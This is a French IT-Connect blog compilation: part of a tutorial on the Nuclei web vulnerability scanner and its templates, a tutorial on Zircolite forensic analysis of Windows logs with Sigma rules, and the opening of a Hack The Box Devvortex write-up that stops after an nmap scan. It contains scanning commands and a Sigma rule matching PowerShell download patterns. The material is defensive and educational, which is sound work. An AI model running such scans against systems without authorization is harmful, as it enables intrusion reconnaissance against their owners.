Commençons, pour se faire une idée, par afficher tous les templates disponibles grâce à l'option "-tl" :

Comme vous pouvez le voir, il y a du monde ! Pas loin de 8 000 templates sont disponibles en date d'écriture de cet article. La capture ci-dessus est bien sûr tronquée. On peut notamment retrouver un début de hiérarchie dans la capture ci-dessus (cloud, code, exposures, etc.). Pour avoir une meilleure idée, voici à quoi ressemble un template Nuclei :

Voir le template sur Github :

• Github - nuclei-templates/http/exposed-panels /phpmyadmin-panel.yaml

Ce template, qui se trouve dans le répertoire "http/exposed-panels/" et utilise les tags "panel" et "phpmyadmin" (ligne 17) a pour but de découvrir la présence d'une page d'authentification ou d'un panel "PHPMyAdmin" sur nos cibles.

Nous pouvons notamment voir les payloads qui seront utilisés sur chaque cible, il y en a ici 12. Ce qui signifie que ce test à lui seul générera 12 requêtes par cible. En exécutant ce test, Nuclei essaiera de charger la page "{{baseURL}}/phpmyadmin/" puis "{{baseURL}}/admin/phpmyadmin/", etc. Le "{{BaseURL}}" étant bien sûr remplacé à la volée par l'URL des applications ciblée par nos tests.

Pour chaque réponse, il consultera le code source de la page afin de trouver les chaines de caractères "phpMyAdmin" ou "pmahomme" et lèvera une alerte de niveau "[info]" s'il obtient une réponse positive.

Pour exécuter une analyse se basant sur ce template uniquement, nous pouvons utiliser la commande suivante :

nuclei -t http/exposed-panels/phpmyadmin-panel.yaml -list mesCibles.txt -stats

Ici, Nuclei va automatiquement aller cherche le fichier ".yaml" au sein du répertoire par défaut de stockage des templates. Si nous souhaitons utiliser un ensemble de template en fonction de leur catégorie, nous pouvons utiliser la commande suivante :

# Templates relatifs à la découverte de panels d'administration
nuclei -t http/exposed-panels/* -list mesCibles.txt -stats

# Templates relatifs à la découverte de technologies et version
nuclei -t http/technologies/* -list mesCibles.txt -stats

Nous pouvons également nous aider des tags, qui permettent de sélectionner des templates dans plusieurs catégories. Par exemple, si nous avons un CMS "Joomla" à scanner, nous pourrions souhaiter découvrir ses plugins, sa version, puis la présence de CVE ou défauts de configuration spécifiques à "Joomla". Chacun de ces tests se trouve dans une catégorie Nuclei différente, mais tous partagent le même tag : "joomla". Exemple :

# Lister les tous les templates ayant un tags "joomla"
nuclei -tl --tags joomla 

# Exécuter tous les templates ayant un tags "joomla"
nuclei --tags joomla -list mesCibles.txt -stats

L'utilisation unitaire d'un template, groupée via les tags ou via les catégories, est ce qui rend Nuclei très pratique d'utilisation et modulable en fonction des besoins et des cibles à scanner. Le grand nombre de templates et de modules nécessite quelque temps de pratique avant de pouvoir exploiter complètement la puissance de Nuclei, mais cela vaut vraiment le coup.

Nuclei est un outil très modulable et propose, en plus de ses nombreux templates, de nombreuses options. Prenez le temps de lire l'aide de l'outil pour avoir un aperçu de tout ce qu'il est capable de faire : "nuclei --help"

Également, plutôt que de réaliser une analyse soit trop précise, soit trop vague entrainant un grand nombre de requêtes inutiles. Nous pouvons utiliser le mode "intelligent" de Nuclei qui va utiliser l'application wappalyzer afin de réaliser une première découverte des technologies utilisées, puis un scan en utilisant les tags associés à ces technologies. Cette opération se fait via le tag "-as" (pour "-automatic-scan") :

# Analyse intelligente basée sur le détecteur de technologie wappalyzer
nuclei -as -list mesCibles.txt -stats

Avec ces quelques options, vous maitriserez mieux les différents concepts et la puissance de Nuclei. Pour vous faciliter l'utilisation des tags, je vous propose ce tableau qui détaille, pour les principaux tags, leur cas d'usage :

Tag	Usage
--tags cve, --tags cve2023, --tags cve2022	Templates relatifs à la détection de CVE. Utilisable aussi par année.
--tags panel	Templates permettant de découvrir des panels d'administration spécifiques à certaines technologies.
--tags wordpress, --tags wp-plugin, --tags joomla, etc.	Templates relatifs aux CMS, ou à la découverte de plugins des CMS.
--tags exposures	Templates permettant de rechercher des fuites de données dans des fichiers exposés (backups, configurations, etc.)
--tags osint	Templates relatifs à la recherche d'informations par sources ouvertes.
--tags tech	Templates de recherche de bannières des technologies utilisées et de leurs versions.
--tags misconfig	Templates permettant de rechercher des défauts de configuration classiques et connus dans les services web, les CMS, etc.

IV. Concevoir son propre template

A. Comprendre la structure d'un template

Nous allons à présent étudier un peu plus précisément les différents composants d'un template afin d'avoir les connaissances nécessaires pour construire notre premier template.

Vous l'autre peut être remarqué en manipulant Nuclei ou en lisant cet article, les templates Nuclei sont écrits en YAML et visent à décrire précisément comment les requêtes seront envoyées et leurs réponses analysées. On retrouve d'ailleurs l'utilisation du YAML dans les règles de détection SIGMA. Voici la structure globale d'un template :

• Identifiant unique

C'est le nom du template, il sera utilisé notamment lors de l'affichage d'une alerte :

id: mon-premier-template

• Les informations de métadonnées

Les "info" sont les données annexes d'un template, comme l'auteur, la description, mais aussi les tags, le niveau de criticité de l'alerte qui sera levée, etc. Elles sont importantes pour bien réutiliser, comprendre et évaluer les résultats de notre template par la suite.

info:
  name: Mon premier template
  author: it-connect
  severity: medium
  description: Je ne sais pas encore
  reference: https://www.it-connect.fr
  tags: generic

• Le protocole ciblé et la requête

Comme indiqué, bien que Nuclei s'oriente principalement autour du web (HTTP), il peut aussi faire quelques actions sur d'autres protocoles comme SSH, DNS, ou directement sur des fichiers. C'est aussi là que sera décrite la requête à envoyer, avec sa méthode (dans le cas de l'HTTP), les données POST, le chemin ciblé, le tout en utilisant des variables comme "{{BaseURL}}", comme vu plus haut.

Voici un exemple du module "tomcat-exposed-docs.yaml"

http:
  - method: GET
    path:
      - '{{BaseURL}}/docs/'

• Les matchers

Les matchers sont les éléments principaux du template, ils permettent d'analyser la réponse obtenue et d'y rechercher des éléments indiquant le succès de l'opération. Il s'agit en fait de différentes conditions pouvant s'appliquer sur les en-têtes de réponse, le corps de la réponse, son statut, sa taille, etc. Il est alors possible d'indiquer si toutes les conditions doivent être remplies pour déterminer un succès, ou seulement certaines d'entre elles. Ce sont notamment ces conditions qui assurent un minimum de faux positif.

Voici un exemple du template "tomcat-exposed-docs.yaml" :

matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Apache Tomcat'
        condition: and

      - type: status
        status:
          - 200

Dans l'exemple ci-dessus, les conditions sont à la fois la présence de "Apache Tomcat" dans le corps de la réponse, et l'obtention d'un code HTTP 200 en retour.

• Les extractors

Les extractors sont optionnels et sont déclenchés uniquement en cas de succès du test. Ils permettent de récupérer des informations supplémentaires comme une version grâce à une expression régulière.

Voici un exemple du module "tomcat-exposed-docs.yaml" :

 extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '<div class="versionInfo">[ \n\t]*(Version[ \n\t]*[^\n\t<]+)[ \n\t]*<time'

B. Recherche d'un fichier ou d'un répertoire

Maintenant que nous connaissons la structure globale d'un template. Nous pouvons construire notre premier templates. Nous ferons simple pour débuter.

Supposons que nous avons découvert que l'administrateur système qui a été embauché pour l'été afin d'effectuer une sauvegarde de nos nombreuses applications web n'a pas été très rigoureux et a laissé certaines de ces archives "backup-lesysadmin.zip" à la racine des applications web. Notre entreprise possédant 340 serveurs web en DMZ avec plusieurs dizaines d'applications chacun, toutes dans des répertoires différents, il serait aussi rapide d'utiliser Nuclei pour aller identifier la présence de ce fichier sur toutes nos applications web.

Pour répondre à ce besoin, il faut commencer par définir les métadonnées de notre template :

id: recherche-zip-sysadmin
info:
  name: Recherche archive ZIP du Sysadmin
  author: it-connect
  severity: medium
  description: Recherche de l'archive ZIP créée par notre Sysadmin cet été 
  reference: https://www.it-connect.fr
  tags: generic

Nous allons ensuite définir la requête à envoyer et les conditions à réunir pour déterminer le succès de l'opération. Ici, un code "200" et un en-tête "Content-Type" à "application/zip" :

http:
  - method: GET
    path:
      - '{{BaseURL}}/backup-lesysadmin.zip'
    matchers:
      - type: word
        part: header
        words:
          - 'application/zip'
        condition: and
      - type: status
        status:
          - 200

Notre premier template est prêt ! Pour l'utiliser, il suffit de spécifier le chemin vers le fichier à l'aide de l'option "-t", comme vu précédemment. Voici le résultat :

Nous avons bien un match sur l'une de nos applications web. L'alerte est, comme prévu, remonté en sévérité "Medium".

En cas de problème, notamment si Nuclei fait mine de ne pas avoir de template à utiliser, je vous conseille d'utiliser l'option "-v", les éventuelles erreurs de votre template seront alors affichées :

Si vous souhaitez développer d'autres templates pour effectuer des tâches différentes ou plus complexes, je vous conseille de partir d'un template existant qui fait à peu près la même opération. Qu'il s'agisse de l'envoi de données en POST, la récupération d'informations dans les en-têtes ou le corps de la requête, etc. Vous aurez ainsi une base concrète sur laquelle démarrer.

V. Quelques options pour maitriser la bête

Je vous propose différentes options pour maitriser un peu plus la puissance de Nuclei. Il s'agit des options dont je me sers le plus au quotidien et qui sont, selon moi, utiles à connaitre pour une utilisation plus régulière de l'outil :

• Générer un fichier de sortie

Pour stocker, archiver, comparer ou même traiter les données produites par Nuclei, il peut être utile d'écrire ses résultats dans un fichier. Nuclei propose notamment le format de sortie JSON, un format standard pouvant être facilement réutilisé par d'autres outils ou langage de programmation :

# Sortie texte standard
nuclei -list mesCibles.txt -o nuclei_output.txt
# Sortie au format JSON
nuclei -list mesCibles.txt -j -o nuclei_output.json

• Gérer le nombre de requêtes sur une période

Vous constaterez surement rapidement que Nuclei et un outil très rapide, il peut arriver que les services web ou équipements intermédiaires aient du mal à encaisser la charge ou bannisse votre adresse IP si elle émet trop de requêtes sur une courte période. Pour cela, Nuclei intègre une option permettant de gérer le nombre de requêtes par seconde :

# Limiter l'exécution à 50 requêtes/seconde (valeur par défaut : 150)
nuclei -list mesCibles.txt -rl 50

• Sélectionner/exclure les template exécutés par criticité

La sortie produite par Nuclei peut vite être très verbeuse en fonction du type, de la maturité et du nombre de cibles. Ainsi, de nombreuses options permettent de mieux contrôler les tests qui seront effectués et notamment d'en inclure ou omettre en fonction de la criticité de chaque template, établie sur 6 niveaux : unknown, info, low, medium, high, critical :

# Exécuter uniquement les templates à criticité medium, high et critical
nuclei -list mesCibles.txt -s medium,high,critical
# Exclure des tests les templates high et critical
nuclei -list mesCibles.txt -es high,critical

• Optimiser la vitesse de tests

Il est aussi possible d'utiliser certaines options pour que la durée des tests soient optimisée. Par exemple, en raccourcissant le temps ou le nombre de requêtes à partir desquels Nuclei considère une page ou hôte en injoignable/timeout, ou le nombre de tentatives supplémentaires qu'il va faire après un premier échec :

# Réduire le nombre de seconde avant de requête en timeout (par défaut : 10
nuclei -list mesCibles.txt -timeout 2
# Réduire à 3 au lieu de 30 le bombre d'échec avant de considérer un hôte définitivement injoignable
nuclei -list mesCibles.txt -mhe 3
# Réduire à 1 au lieu de 3 le nombre de tentative de communication après un échec
nuclei -list mesCibles.txt -retries 1

Ces différentes options peuvent bien sûr être combinées entre elles pour plus d'efficacité.

VI. Conclusion

Dans cet article, nous avons fait le tour des principales options et cas d'usage de Nuclei. Cela devrait vous permettre de l'utiliser dans de bonnes conditions, bien qu'il regorge de fonctionnalités dont nous n'avons pas parlé grâce à ses nombreuses options et templates. J'espère notamment qu'utiliser cet outil vous aidera à trouver et à corriger des faiblesses sur vos applications web pour améliorer votre sécurité !

N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

The post Comment utiliser Nuclei pour rechercher des vulnérabilités dans une application web ? first appeared on IT-Connect.

I. Présentation

Dans cet article, nous allons découvrir Zircolite, un outil d'investigation numérique simple d'utilisation capable de détecter des évènements de sécurité suspects dans différents formats de journaux d'évènements (logs), dont le format .evtx (Windows), les logs Auditd Linux, le format JSON, etc.

Cet outil peut être utilisé lors d'une suspicion d'intrusion sur un composant du système d'information, lors d'un contrôle de routine (threat hunting) sur les journaux ou lors d'une investigation numérique en bonne et due forme. L'intérêt de Zircolite est qu'il est standalone, il ne nécessite pas de serveur web ou base de donnée. Il peut être exécuté sur n'importe quel système Linux munit de Python3, ou sous Windows en tant que simple exécutable. Également, il est très simple d'utilisation et repose sur un standard pour la détection des évènements suspects : les règles Sigma.

II. Détection, investigation numérique et règles Sigma

A. Sigma : règles de détection pour les journaux d'évènements

À l'instar des règles Yara (pour les fichiers) et des règles Snort (pour les trames réseaux), les règles Sigma sont un format unifié de règles de détection orienté sur les journaux d'évènements. Ce format propose une manière uniforme de définition d'un évènement de sécurité à rechercher dans les journaux à l'aide de conditions qui seront utilisées comme critères de recherche et de catégorisation d'un évènement.

Les règles Sigma sont donc prises en compte par un grand nombre d'outils et disposent d'un autre avantage très important : la conversion.

L'écosystème des règles Sigma est, en effet, très intéressant, car il intègre des outils capables de convertir les règles Sigma en requêtes ou commandes spécifiques à certains produits. Par exemple, une requête KQL (pour ELK), Splunk, ou même une requête PowerShell en utilisant le cmdlet "Get-WinEvent". Bref, un sujet très intéressant là aussi. Voici un exemple :

$ sigma-cli convert --target splunk --pipeline splunk_windows /opt/sigma/rules/windows/sysmon/sysmon_file_block_executable.yml
Parsing Sigma rules [####################################] 100%
source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=27

Je viens de convertir la règle de détection Sigma "sysmon_file_block_executable.yml" en requête Splunk. Dans les faits, Zircolite utilise activement cette possibilité afin de convertir les évènements et les règles de recherche au format SQL/SQLite :

L'occasion ici de rappeler l'importance des journaux d'évènements, tant dans leur configuration, journaliser les bons évènements, notamment ceux de sécurité, que dans leur centralisation/externalisation : ne pas laisser les journaux sur le système qui les a générés, en faire une copie, une sauvegarde, dans un endroit sûr. En cas d'attaque, une équipe d'investigation numérique ou de remédiation aura du mal à vous aider si les journaux permettant de retracer le dérouler d'une cyberattaque ne sont pas complets et à disposition, voire n'ont jamais été produits.

Pour en apprendre plus, je vous recommande notre article sur le sujet de la centralisation des logs :

• Centralisation des logs, un outil pour la sécurité

B. Exemple de règle SIGMA

Pour l'exemple, voici une règle Sigma issue du Github SigmaHQ/Sigma, l'une des places centrales de la collaboration autour des règles de détection Sigma :

title: Suspicious PowerShell Download
id: 3236fcd0-b7e3-4433-b4f8-86ad61a9af2d
related:
  - id: 65531a81-a694-4e31-ae04-f8ba5bc33759
type: derived
status: test
description: Detects suspicious PowerShell download command
references:
  - https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html
author: Florian Roth (Nextron Systems)
date: 2017/03/05
modified: 2023/10/27
tags:
  - attack.execution
  - attack.t1059.001
logsource:
  product: windows
  category: ps_classic_start
detection:
  selection_webclient:
    Data|contains: 'Net.WebClient'
  selection_download:
    Data|contains:
      - '.DownloadFile('
      - '.DownloadString('
  condition: all of selection_*
falsepositives:
  - PowerShell scripts that download content from the Internet
level: medium

Une explication détaillée des règles Sigma, de leur fonctionnement et de leur utilisation pourrait faire l'objet d'un cours entier, mais nous pouvons au moins nous intéresser aux points suivants :

logsource:
  product: windows
  category: ps_classic_start

Ces instructions permettent de spécifier dans quel type de logs, nous allons chercher notre information, ici pour les produits Windows et la catégorie "ps_classic_start", c'est-à-dire les journaux PowerShell. Une liste complète des logsource et catégories utilisables peut être trouvées sur la documentation officielle Sigma.

Viennent ensuite les conditions de notre recherche :

detection:
  selection_webclient:
    Data|contains: 'Net.WebClient'
  selection_download:
    Data|contains:
      - '.DownloadFile('
      - '.DownloadString('
  condition: all of selection_*

Nous pouvons noter deux conditions ("selection_webclient" et "selection_download") qui doivent toutes deux être remplies ("condition: all of selection_*"). La première indique que le champ "Data" (le contenu de la commande PowerShell analysée) doit contenir "Net.WebClient" et la seconde qu'il doit contenir ".DownloadFile(" ou ".DownloadString('".

Les nombreuses autres instructions de cette règle permettent de spécifier son auteur, son niveau de criticité, d'obtenir des références externes, etc.

Zircolite propose ses propres règles Sigma, mais n'importe quel jeu de règle utilisant ce format peut être utilisé, c'est ce qui fait la grande puissance de l'outil. Vous pouvez retrouver les règles inclus dans Zircolite ici : Github - Zircolite-Rules et localement dans le sous-répertoire d'installation de Zircolite "rules" :

┌──(mdo㉿purple-it-connect)-[/opt/Zircolite]
└─$ ls rules/ -l
total 31172
-rw-r--r-- 1 mdo mdo    2880 Apr  7 10:53 README.md
-rw-r--r-- 1 mdo mdo  155135 Apr  7 10:53 rules_linux.json
-rw-r--r-- 1 mdo mdo 2323097 Apr  7 10:53 rules_windows_generic.json
-rw-r--r-- 1 mdo mdo 3826967 Apr  7 10:53 rules_windows_generic_full.json
-rw-r--r-- 1 mdo mdo 2323097 Apr  7 10:53 rules_windows_generic_high.json
-rw-r--r-- 1 mdo mdo 3617269 Apr  7 10:53 rules_windows_generic_medium.json
-rw-r--r-- 1 mdo mdo 3748878 Apr  7 10:53 rules_windows_generic_pysigma.json
-rw-r--r-- 1 mdo mdo 2329413 Apr  7 10:53 rules_windows_sysmon.json
-rw-r--r-- 1 mdo mdo 3837588 Apr  7 10:53 rules_windows_sysmon_full.json
-rw-r--r-- 1 mdo mdo 2329413 Apr  7 10:53 rules_windows_sysmon_high.json
-rw-r--r-- 1 mdo mdo 3627164 Apr  7 10:53 rules_windows_sysmon_medium.json
-rw-r--r-- 1 mdo mdo 3773777 Apr  7 10:53 rules_windows_sysmon_pysigma.json 

Je vous propose également d'autres sources intéressantes de règles Sigma :

• Les règles Sigma "officielles" de SigmaHQ : Github - SigmaHQ/sigma
• La base de règle de mdecrevoisier : Github - mdecrevoisier/SIGMA-detection-rules

Ces deux sources vous donneront largement de quoi faire, utilisez les notamment pour comprendre le format des règles Sigma et commencer à jouer avec. Gardez en tête cependant que même en utilisant comme base un jeu de règles à jour et éprouvé, les règles les plus efficaces sont celles qui ont été adaptées à votre contexte métier et technique.

Maintenant que nous avons une idée légèrement meilleure de ce que sont les règles Sigma, largement utilisées par les blue teams (équipe de défense et détection) et par Zircolite, passons à l'action.

III. Zircolite : détection d'évènements suspects

A. Installation de Zircolite

Si vous souhaitez utiliser Zircolite depuis un système Windows, il suffit de télécharger l'archive Release du projet et de la décompresser sur votre système :

• Github - Zircolite Release

L'utilisation depuis Windows peut sembler la plus simple si vous souhaitez analyser des journaux Windows. Cependant, Zircolite peut aussi être utilisé en tant que script Python de la même façon. Dès lors, il faut télécharger le code source depuis Github et installer les dépendances Python :

cd /opt
git clone https://github.com/wagga40/Zircolite.git
cd Zircolite
pip install -r requirements.full.txt

Dans le cadre de l'article, je l'installe sur un système Kali Linux Purple, basé sur Debian.

B. Exporter ses logs Windows

Nous sommes prêts à analyser nos journaux d'évènements, mais commençons par les récupérer depuis un système qui nous intéresse. Sur un système Windows, les journaux d'évènements sont nativement stockés dans des fichiers ".evtx". Ceux-ci sont situés dans le répertoire "C:\Windows\System32\winevt\Logs" :

Si l'on souhaite analyser seulement une partie nos journaux, par exemple, d'une date à une autre ou certains évènements ID, nous pouvons effectuer les filtres qui nous intéressent dans l'Observateur d'évènements, puis exporter le résultat. Il faut pour cela se positionner dans le journal à exporter, puis cliquer sur "Enregistrer tous les évènements sous…" dans le panneau droit :

Il est également possible d'exporter les journaux d'évènements dans un fichier ".evtx" via la ligne de commande grâce à l'utilitaire "wevtutil.exe", présent nativement sous Windows. Voici un exemple pour exporter le journal "Sécurité" :

wevtutil export-log Security Z:\Security.evtx

Dans ces deux derniers cas, nous aurons en résultat un fichier ".evtx" à analyser.

Si vous ne souhaitez pas analyser vos propres journaux Windows ou que vous n'en avez pas sous la main, pas de panique. Voici une source qui propose des journaux Windows contenant des évènements de sécurité, des traces d'attaques, etc. :

• Github - EVTX-ATTACK-SAMPLES

Enfin, certains challenges Sherlocks de Hack The Box proposent également des fichiers ".evtx" contenant des traces de cyberattaque. Il s'agit là aussi d'un très bon moyen de s’entraîner.

C. Analyse les logs Windows avec Zircolite

Maintenant que nous avons tout à notre disposition, nous pouvons utiliser Zircolite pour mener une analyse sur ces journaux à l'aide de règles de détection Sigma :

python3 zircolite.py --evtx XXXX.evtx

Sous Windows, le format de la commande est le même :

Z:\zircolite_win> .\zircolite_win_x64_2.20.0.exe --evtx Z:\Windows_SecurityLog.evtx

Il est possible de fournir en entrée à Zircolite un fichier ".evtx," ou un dossier complet contenant un ensemble de fichiers ".evtx". Par exemple, si vous ne savez pas très bien où et quoi chercher et que vous avez copié tout le contenu du répertoire "C:\Windows\System32\winevt\Logs" :

python3 zircolite.py --evtx monRepertoire\

Voici le résultat obtenu lors de l'exécution de Zircolite sous Linux :

Zircolite nous indique ici dans un premier temps le jeu de règles Sigma qu'il va utiliser ("rules/rules_windows_generic_py_sigma.json"). Puis, il va analyser les journaux d'évènements fournit en entrées avec ces règles Sigma et nous afficher les évènements découverts, leur sévérité (High, Medium, Low), et leur nombre d’occurrences.

Parmi les éléments notables de l'exemple ci-dessus, on peut noter l'utilisation de "mimikatz", la réalisation d'une attaque DCSync, une opération de suppression des journaux d'évènements... Pas de doute ici, un attaquant est passé par là !

Si l'on souhaite utiliser un autre jeu de règles (des règles personnalisées par exemple), il est possible de le spécifier avec l'option "-r" :

python3 zircolite.py --evtx /tmp/EVTX-ATTACK-SAMPLES/Persistence/ -r /opt/Zircolite/rules/rules_windows_sysmon_full.json

Ce second jeu de règle utilisé me remonte par exemple 155 évènement suspects contre 47 avec le jeu de règle "par défaut". Une différence assez nette qui montre l'importance de disposer d'un jeu de règles complet et adapté à son contexte et aux évènements recherchés.

Vous remarquerez ici que j'ai utilisé les règles Sigma spécifiques aux évènements Sysmon, je vous invite à consulter notre article dédié pour en savoir plus sur ce qu'est Sysmon et son apport en termes de sécurité :

• Windows - Utilisation de Sysmon pour tracer les activités malveillantes

L'avant-dernière ligne nous indique qu'un fichier de sortie au format JSON a été créé : "detected_events.json". Ce fichier au format JSON est intéressant si l'on souhaite aller plus loin dans l'investigation des évènements découverts :

Le contenu de cette sortie contient de nombreux détails techniques qui permettent d'en savoir plus sur les évènements suspects. Tous ne peuvent être affichés dans la sortie terminale de Zircolite pour des raisons de lisibilité. Dans ce fichier, vous n'aurez donc que des évènements suspects qui méritent une investigation. Zircolite a fait le tri parmi vos milliers de journaux pour n'en sortir que les évènements suspects d'après un ensemble de règle de détection Sigma.

Si vous n'êtes pas familier de la cybersécurité, l'élément principal sur lequel vous pourrez vous baser pour mieux comprendre les évènements suspectés relevés et les règles de détection sont le contenu des champs "references" (souvent des liens vers des blogposts) et les "tags". Ce dernier champ utilise les identifiants TTP du framework MITRE ATT&CK qui contient beaucoup d'informations sur les différents types d'attaques et modes opératoires des attaquants.

N'hésitez pas à utiliser un moteur de recherche ou le site du framework MITRE ATT&CK pour en apprendre plus sur une attaque identifiée par son TTP. Par exemple T1548 - Abuse Elevation Control Mechanism.

Il est aussi possible de ne s'intéresser qu'aux journaux d'évènements au-delà ("--after" ou "-A") ou avant ("--before" ou "-B") une certaine date, ce qui permet de filtrer ces derniers et d'améliorer les performances de recherche :

python3 zircolite.py --evtx /tmp/EVTX-ATTACK-SAMPLES/ -r /opt/Zircolite/rules/rules_windows_sysmon_full.json -A 2019-05-11T17:58:00 -B 2021-06-02T23:00:00

Le format à respecter pour spécifier une date est le suivant "<AAA-MM-DD>T<HH:MM:SS>", le "T" étant une valeur fixe. C'est notamment utile lorsque nous disposons de premières informations temporelles nous permettant d'orienter nos recherches.

D. Traiter la sortie JSON de Zircolite

Le format JSON étant un standard pris en charge par de nombreux outils, cela permet de faciliter la lecture et le traitement de ces données. Pour une utilisation et investigation immédiate sur ces évènements, nous pouvons, par exemple, utiliser la commande "jq", qui permet de parser, trier et filtrer les données JSON :

• Lister tous les évènements suspects, les tags associés (TTP), ainsi que l'heure et l'hôte pour chaque occurrence :

jq '.[] | {title: .title, tags: .tags, matches: [.matches[] | {Time:.UtcTime, Computer:.Computer}]}' /tmp/zircolite_persistence.json

Voici un résultat possible de ce filtre "jq" :

• Obtenir tous les évènements qui concernent un système précis :

jq '.[] | {title: .title, tags: .tags, matches: [.matches[] | select( .Computer == "PC01.example.corp")]}' /tmp/zircolite_persistence.json

• Afficher les évènements avec un tri par date, pour tenter d'établir un séquençage des évènements :

jq '[.[].matches[]] | sort_by(.SystemTime) ' /tmp/zircolite_persistence.json

• Même chose avec un filtre sur le nom d'un système précis :

jq '[.[].matches[]| select( .Computer == "PC01.example.corp")] | sort_by(.SystemTime)' /tmp/zircolite_persistence.json

Cette dernière commande est la plus parlante, puisque l'on commence à avoir un ordonnancement dans le temps des évènements suspects sur un système précis. Comme vous le voyez, connaître les subtilités du format JSON et manier "jq" est nécessaire ici. Sachez également que Zircolite peut directement envoyer les journaux obtenus par son analyse à différents composants comme un serveur Splunk ou ELK.

III. Utiliser le rapport web de Zircolite

Un dernier point important qu'il faut mentionner lorsque l'on parle de Zircolite est son interface web (autonome, elle aussi). Celle-ci peut être générée pour chaque analyse et contient une présentation graphique des évènements de sécurité relevés. Pour générer ce rapport au format web, il faut utiliser l'option "--package" :

python3 zircolite.py --evtx /tmp/EVTX-ATTACK-SAMPLES/ -r /opt/Zircolite/rules/rules_windows_sysmon_full.json --package
[...]
[+] Results written in : detected_events.json
[+] Generating ZircoGui package to : zircogui-output-6QYQ.zip
[+] Cleaning 

Zircolite crée alors une archive contenant des fichiers .css, .js, et .html, qu'il faut décompresser :

unzip zircogui-output-6QYQ.zip -d /tmp/Z1
firefox /tmp/Z1/index.html

Dès lors, la page web peut-être ouverte avec n'importe quel navigateur. La première vue que nous obtenons est une synthèse des évènements suspects identifiés par Zircolite dans les journaux analysés. On y trouve notamment une catégorisation de ces évènements basée sur le framework MITRE ATT&CK et par niveau de criticité :

Plus bas dans cette même page, nous pouvons obtenir une timeline des évènements relevés. Cette vue est très intéressante pour obtenir rapidement une vue d'ensemble de l'attaque (si l'on dispose de tous les journaux et des bonnes règles Sigma bien sûr) :

Chaque évènement est positionné dans le temps par rapport aux autres (grâce à l'horodatage de chacun) et catégorisé en fonction de sa typologie avec les catégories du framework MITRE ATT&CK.

Dans le cadre d'une investigation numérique, l'établissement d'une timeline de l'attaque est l'un des objectifs principaux de l'équipe forensic. L'idée de pouvoir identifier très rapidement le séquençage des évènements pour mieux comprendre l'objectif de l'attaquant et son mode opératoire, ce qui permet de prendre les bonnes décisions concernant la suite des évènements.

Nous pouvons alors sélectionner n'importe lequel de ces évènements pour avoir des informations plus précises sur celui-ci (cliquez sur l'image pour zoomer) :

Ce tableau contient de nombreuses colonnes et vous avez la possibilité de les étudier en utilisant la barre de défilement horizontale. Ces colonnes contiennent l'ensemble des informations de l'évènement sélectionné et initialement stocké dans le fichier ".evtx". Il s'agit des mêmes informations que celles présentes dans le fichier JSON étudié précédemment, mais affichées de manière plus lisible dans une page web (cliquez sur l'image pour zoomer) :

Cette simple vue nous permet, par exemple, de savoir que le processus "MSSQL" a exécuté un script via "cmd.exe" avec les droits de l'utilisateur "sqlsvc" sur le poste "MSEDGEWIN10". Cette vue par tableau permet également d'effectuer de nombreux filtres, à l'instar de ce que nous avons fait via "jq" sur le fichier JSON généré par Zircolite.

Le dernier élément notable de ce rapport web est la matrice du framework MITRE ATT&CK, qui montre tous les TTP détectés dans l'ensemble de journaux fournis en entrées (cliquez sur l'image pour zoomer) :

Là aussi, cette vue d'ensemble aide à se faire très rapidement une idée de la portée de l'attaque et des différentes opérations de l'attaquant sur les systèmes concernés.

IV. Conclusion

Dans cet article, nous avons fait le tour de Zircolite au travers des cas concrets sur des journaux d'évènements Windows. Nous avons notamment vu que Zircolite peut être utilisé de façon très simple en ligne de commande afin d'identifier des évènements suspects, d'étudier les détails de ces évènements et d'offrir une vue d'ensemble avec timeline d'une cyberattaque.

Il reste naturellement beaucoup de choses à découvrir au sujet de l'investigation numérique (forensic), des règles Sigma et de Zircolite. Néanmoins, le contenu de l'article devrait vous donner les bases de son utilisation, utiles pour l'étudier plus en profondeur et l'utiliser quotidiennement ou occasionnellement. Également, n'oubliez pas que Zircolite permet de traiter d'autres formats de journaux comme les journaux Sysmon for Linux, auditd, JSON, JSONL, etc... Même si cela n'a pas été traité dans l'article.

Au-delà de l'outil, cet article a permis de rappeler un grand nombre d'éléments concernant la sécurité d'un système unique ou de tout un système d'information : le durcissement des configurations pour permettre la journalisation des évènements importants de sécurité, la sauvegarde et centralisation de ces évènements, la capacité à pouvoir intervenir rapidement suite à une cyberattaque et commencer les premières investigations, etc.

N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

The post Comment effectuer une investigation numérique sur les journaux d’évènements Windows avec Zircolite ? first appeared on IT-Connect.

I. Présentation

Je vous propose dans cet article la résolution de la machine Hack The Box Devvortex de difficulté "Facile". Cette box est accessible via cette page.

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordées	Linux, web, Joomla, MySQL
Outils utilisés	nmap, ffuf, JohnTheRipper, searchsploit, CVE, sudo

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Résolution de la box Devvortex

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP (10.10.11.242) de notre cible, commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.242

Nmap scan report for 10.10.11.242
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
